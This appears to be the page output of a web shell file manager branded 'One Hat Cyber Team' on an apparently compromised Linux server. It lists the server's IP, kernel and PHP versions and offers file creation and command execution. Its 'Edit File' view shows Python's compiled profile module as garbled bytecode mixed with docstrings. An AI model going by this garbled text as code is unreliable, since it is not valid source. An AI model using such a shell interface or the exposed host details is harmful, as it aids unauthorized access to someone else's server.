⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.62
Server IP:
57.129.66.90
Server:
Linux vps-7f548908 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
snap
/
core20
/
2686
/
lib
/
python3.8
/
__pycache__
/
Edit File: profile.cpython-38.pyc
U >h[ @ sp d Z ddlZddlZddlZdddgZG dd dZdd dZdd dZG dd dZdd Z e dkrle dS )z Class for profiling Python code. NrunrunctxProfilec @ s0 e Zd ZdZdd Zdd Zdd Zdd Zd S )_UtilszSupport class for utility functions which are shared by profile.py and cProfile.py modules. Not supposed to be used directly. c C s || _ d S N)profiler)selfr r /usr/lib/python3.8/profile.py__init__/ s z_Utils.__init__c C sF | }z(z|| W n tk r, Y nX W 5 | ||| X d S r )r _showr SystemExit)r statementfilenamesortprofr r r r 2 s z _Utils.runc C sJ | }z,z|||| W n tk r0 Y nX W 5 | ||| X d S r )r r r r )r r globalslocalsr r r r r r r ; s z _Utils.runctxc C s" |d k r| | n || d S r ) dump_statsprint_stats)r r r r r r r r D s z_Utils._showN)__name__ __module____qualname____doc__r r r r r r r r r ) s r c C s t t| ||S )a Run statement under profiler optionally saving results in filename This function takes a single argument that can be passed to the "exec" statement, and an optional file name. In all cases this routine attempts to "exec" its first argument and gather profiling statistics from the execution. If no file name is present, then this function automatically prints a simple profiling report, sorted by the standard name string (file/line/function-name) that is presented in each line. )r r r )r r r r r r r P s c C s t t| ||||S )zRun statement under profiler, supplying your own globals and locals, optionally saving results in filename. statement and filename have the same semantics as profile.run )r r r )r r r r r r r r r ] s c @ s e Zd ZdZdZd5ddZdd Zdd Zd d Zdd Z dd Z dd Zdd Zdd Z ee e ee e dZdd ZG dd dZG dd dZdd Zdd Zd6d"d#Zd$d% Zd&d' Zd(d) Zd*d+ Zd,d- Zd.d/ Zd0e_d7d1d2Zd3d4 ZdS )8r a Profiler class. self.cur is always a tuple. Each such tuple corresponds to a stack frame that is currently active (self.cur[-2]). The following are the definitions of its members. We use this external "parallel stack" to avoid contaminating the program that we are profiling. (old profiler used to write into the frames local dictionary!!) Derived classes can change the definition of some entries, as long as they leave [-2:] intact (frame and previous tuple). In case an internal error is detected, the -3 element is used as the function name. [ 0] = Time that needs to be charged to the parent frame's function. It is used so that a function call will not have to access the timing data for the parent frame. [ 1] = Total time spent in this frame's function, excluding time in subfunctions (this latter is tallied in cur[2]). [ 2] = Total time spent in subfunctions, excluding time executing the frame's function (this latter is tallied in cur[1]). [-3] = Name of the function that corresponds to this frame. [-2] = Actual frame that we correspond to (used to sync exception handling). [-1] = Our parent 6-tuple (corresponds to frame.f_back). Timing data for each function is stored as a 5-tuple in the dictionary self.timings[]. The index is always the name stored in self.cur[-3]. The following are the definitions of the members: [0] = The number of times this function was called, not counting direct or indirect recursion, [1] = Number of times this function appears on the stack, minus one [2] = Total time spent internal to this function [3] = Cumulative time that this function was present on the stack. In non-recursive functions, this is the total execution time from start to finish of each invocation of a function, including time spent in all subfunctions. [4] = A dictionary indicating for each function name, the number of times it was called by us. r Nc C s i | _ d | _d| _d| _|d kr&| j}|| _|sHtj | _| _| j | _ nl|| _| }zt|}W n" tk r || _| j | _ Y n0X |dkr| j | _ n| j| _ |tfdd}|| _| | _| d d S )N c S s || S r r )timersumr r r get_time_timer s z(Profile.__init__.
.get_time_timerr )timingscurcmdc_func_namebiastimeprocess_timer get_timetrace_dispatch_i dispatcherlen TypeErrortrace_dispatchtrace_dispatch_lr t simulate_call)r r r$ r. Zlengthr r r r r s0 zProfile.__init__c C s | j }| }|d |d | j | j }|dkr8|j| _| j| | ||rd| }|d |d | _n| }|d |d | | _d S )Nr c_callr r. r$ r r# dispatch)r frameeventargr r. rr r r r, s zProfile.trace_dispatchc C sT | j }| | j | j }|dkr(|j| _| j| | ||rD| | _n| | | _d S Nr1 r2 r r4 r5 r6 r r. r r r r( s zProfile.trace_dispatch_ic C s` | j }| d | j | j }|dkr,|j| _| j| | ||rL| d | _n| d | | _d S )Ng N@r1 r2 r9 r r r trace_dispatch_mac s zProfile.trace_dispatch_macc C sT | j }| | j | j }|dkr(|j| _| j| | ||rD| | _n| | | _d S r8 )r' r. r$ r r# r3 )r r4 r5 r6 r' r. r r r r- s zProfile.trace_dispatch_lc C sD | j \}}}}}}||k r*|r*| ||S ||| ||||f| _ dS Nr0 )r! trace_dispatch_return) r r4 r. rptritretrfnrframercurr r r trace_dispatch_exception s z Profile.trace_dispatch_exceptionc C s | j r|j| j d k r| j \}}}}}}t|tjs|j|jksXtd|||j||jf| |d | j d ks|j| j d kstd| j d f|j} | j| j | j f} |dd| || j f| _ | j}| |kr|| \}} }}}|| d |||f|| <